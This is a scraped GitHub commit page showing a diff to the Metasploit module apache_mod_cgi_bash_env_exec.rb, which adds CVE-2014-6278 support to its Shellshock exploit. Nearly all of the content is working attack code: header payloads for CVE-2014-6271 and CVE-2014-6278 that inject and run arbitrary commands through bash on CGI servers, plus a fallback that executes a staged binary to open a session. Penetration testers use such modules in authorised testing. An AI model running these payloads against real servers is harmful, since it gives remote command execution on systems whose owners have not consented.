Skip to content

Commit 0380c5e

Browse files
author
HD Moore
committed
Add CVE-2014-6278 support, lands rapid7#3932
2 parents 5df614d + c1b0acf commit 0380c5e

File tree

1 file changed

+22
-8
lines changed

1 file changed

+22
-8
lines changed

modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb

Lines changed: 22 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -22,10 +22,12 @@ def initialize(info = {})
2222
'Author' => [
2323
'Stephane Chazelas', # Vulnerability discovery
2424
'wvu', # Original Metasploit aux module
25-
'juan vazquez' # Allow wvu's module to get native sessions
25+
'juan vazquez', # Allow wvu's module to get native sessions
26+
'lcamtuf' # CVE-2014-6278
2627
],
2728
'References' => [
2829
['CVE', '2014-6271'],
30+
['CVE', '2014-6278'],
2931
['OSVDB', '112004'],
3032
['EDB', '34765'],
3133
['URL', 'https://access.redhat.com/articles/1200223'],
@@ -64,12 +66,13 @@ def initialize(info = {})
6466
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
6567
OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]),
6668
OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']),
67-
OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
69+
OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5]),
70+
OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278']])
6871
], self.class)
6972
end
7073

7174
def check
72-
res = req("echo #{marker}")
75+
res = req("echo #{marker}", datastore['CVE'])
7376

7477
if res && res.body.include?(marker * 3)
7578
return Exploit::CheckCode::Vulnerable
@@ -105,31 +108,42 @@ def exploit
105108
# A last chance after the cmdstager
106109
# Trying to make it generic
107110
unless session_created?
108-
req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}")
111+
req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}", datastore['CVE'])
109112
end
110113
end
111114

112115
def execute_command(cmd, opts)
113116
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
114117

115-
req(cmd)
118+
req(cmd, datastore['CVE'])
116119
end
117120

118-
def req(cmd)
121+
def req(cmd, cve)
122+
case cve
123+
when 'CVE-2014-6271'
124+
sploit = cve_2014_6271(cmd)
125+
when 'CVE-2014-6278'
126+
sploit = cve_2014_6278(cmd)
127+
end
128+
119129
send_request_cgi(
120130
{
121131
'method' => datastore['METHOD'],
122132
'uri' => normalize_uri(target_uri.path.to_s),
123133
'headers' => {
124-
datastore['HEADER'] => sploit(cmd)
134+
datastore['HEADER'] => sploit
125135
}
126136
}, datastore['TIMEOUT'])
127137
end
128138

129-
def sploit(cmd)
139+
def cve_2014_6271(cmd)
130140
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
131141
end
132142

143+
def cve_2014_6278(cmd)
144+
%Q{() { _; } >_[$($())] { echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"; }}
145+
end
146+
133147
def marker
134148
@marker ||= rand_text_alphanumeric(rand(42) + 1)
135149
end

0 commit comments

Comments
 (0)